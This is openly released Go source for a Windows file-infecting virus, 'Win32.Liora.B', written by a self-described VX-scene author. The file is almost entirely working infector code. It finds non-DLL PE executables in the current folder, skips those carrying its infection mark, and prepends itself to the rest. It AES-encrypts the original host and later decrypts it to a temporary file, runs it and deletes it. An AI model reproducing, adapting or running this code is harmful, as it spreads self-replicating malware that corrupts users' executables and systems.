/*
* Win32.Liora.B - This is a POC PE prepender written in Go by TMZ (2015).
*
* Win32.Liora.B (May 2015) - Simple binary infector in GoLang (prepender).
* This version encrypts the host code with AES and decrypts it at runtime.
* It's almost a direct port from my GoLang ELF infector Linux.Liora, just a few tweaks.
*
* Compile with: go build -i liora_b.go (where go >= 1.4.2)
* It has no external dependencies so it should compile under most systems (x86 and x86_64).
*
* Use at your own risk, I'm not responsible for any damages that this may cause.
*
* A big shout for those who keeps the scene alive: herm1t, alcopaul, SPTH, hh86, genetix, R3s1stanc3 and many others :)
*
* Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/ and on Twitter @TMZvx
*
* http://vx.thomazi.me
*/
package main
import (
"bufio"
"io"
"io/ioutil"
"os"
"os/exec"
"strings"
"crypto/aes"
"crypto/cipher"
"math/rand"
"time"
"debug/pe"
"encoding/binary"
)
func check(e error) {
// Reading files requires checking most calls for errors.
// This helper will streamline our error checks below.
if e != nil {
panic(e)
}
}
func _ioReader(file string) io.ReaderAt {
r, err := os.Open(file)
check(err)
return r
}
func CheckPE(file string) bool {
r := _ioReader(file) //reader interface for file
f, err := pe.NewFile(r) //open the file as a PE
if err != nil {
return false //Not a PE file
}
//Reading DOS header
var dosheader [96]byte
r.ReadAt(dosheader[0:], 0)
if dosheader[0] == 'M' && dosheader[1] == 'Z' { //if we get MZ
signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:]))
var sign [4]byte
r.ReadAt(sign[:], signoff)
if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) { //if not PE\0\0
return false //Invalid PE File Format
}
}
if (f.Characteristics & 0x2000) == 0x2000 { //IMAGE_FILE_DLL signature
return false //it's a DLL, OCX, CPL file, we dont want that
}
f.Close()
return true //all checks passed
}
func CheckInfected(file string) bool {
_mark := "=TMZ=" //infection mark
fi, err := os.Open(file)
check(err)
myStat, err := fi.Stat()
check(err)
size := myStat.Size()
buf := make([]byte, size)
fi.Read(buf)
fi.Close()
var x int64
for x = 1; x < size; x++ {
if buf[x] == _mark[0] {
var y int64
for y = 1; y < int64(len(_mark)); y++ {
if (x + y) >= size {
break
}
if buf[x + y] != _mark[y] {
break
}
}
if y == int64(len(_mark)) {
return true; //infected!
}
}
}
return false; //not infected
}
func Infect(file string) {
dat, err := ioutil.ReadFile(file) //read host
check(err)
vir, err := os.Open(os.Args[0]) //read virus
check(err)
virbuf := make([]byte, 3039232)
vir.Read(virbuf)
encDat := Encrypt(dat) //encrypt host
f, err := os.OpenFile(file, os.O_RDWR, 0666) //open host
check(err)
w := bufio.NewWriter(f)
w.Write(virbuf) //write virus
w.Write(encDat) //write encypted host
w.Flush() //make sure we are all set
f.Close()
vir.Close()
}
func RunHost() {
hostbytes := Rnd(8) + ".exe" //generate random name
h, err := os.Create(hostbytes) //create tmp with above name (same folder)
check(err)
allSZ := GetSz(os.Args[0]) //get size of myself
//allSZ := len(infected_data) //get file full size
hostSZ := allSZ - 3039232 //calculate host size
f, err := os.Open(os.Args[0]) //open host
check(err)
f.Seek(3039232, os.SEEK_SET) //go to host start
hostBuf := make([]byte, hostSZ)
f.Read(hostBuf) //read it until hostBuf size
plainHost := Decrypt(hostBuf) //decrypt host
w := bufio.NewWriter(h)
w.Write(plainHost) //write plain host to tmp file
w.Flush() //make sure we are all set
h.Close()
f.Close()
os.Chmod(hostbytes, 0755) //give it proper permissions
if len(os.Args) > 1 {
cmd := exec.Command(hostbytes, os.Args[1]) //create the command
cmd.Start() //execute it
err = cmd.Wait() //wait process to finish
} else {
cmd := exec.Command(hostbytes) //create the command w/o args
cmd.Start() //execute it
err = cmd.Wait() //wait process to finish
}
os.Remove(hostbytes) //delete tmp file
}
func Encrypt(toEnc []byte) []byte {
key := "SUPER_SECRET_KEY" // 16 bytes!
block,err := aes.NewCipher([]byte(key))
check(err)
// 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
ciphertext := []byte("ASUPER_SECRET_IV")
iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
encrypter := cipher.NewCFBEncrypter(block, iv)
encrypted := make([]byte, len(toEnc))
encrypter.XORKeyStream(encrypted, toEnc)
//fmt.Printf("%s encrypted to %v\n", toEnc, encrypted)
return encrypted
}
func Decrypt(toDec []byte) []byte {
key := "SUPER_SECRET_KEY" // 16 bytes
block,err := aes.NewCipher([]byte(key))
check(err)
// 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
ciphertext := []byte("ASUPER_SECRET_IV")
iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
decrypter := cipher.NewCFBDecrypter(block, iv) // simple
decrypted := make([]byte, len(toDec))
decrypter.XORKeyStream(decrypted, toDec)
return decrypted
}
func Rnd(n int) string {
rand.Seed(time.Now().UTC().UnixNano())
var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
b := make([]rune, n)
for i := range b {
b[i] = letters[rand.Intn(len(letters))]
}
return string(b)
}
func GetSz(file string) int64 {
myHnd, err := os.Open(file)
check(err)
defer myHnd.Close()
myStat, err := myHnd.Stat()
check(err)
mySZ := myStat.Size()
myHnd.Close()
return mySZ
}
func main() {
virPath := os.Args[0]
files, _ := ioutil.ReadDir(".")
for _, f := range files {
if CheckPE(f.Name()) == true {
if CheckInfected(f.Name()) == false {
if !strings.Contains(virPath, f.Name()) {
Infect(f.Name())
}
}
}
}
if GetSz(os.Args[0]) > 3039232 {
RunHost()
} else {
os.Exit(0)
}
}
More to come soon.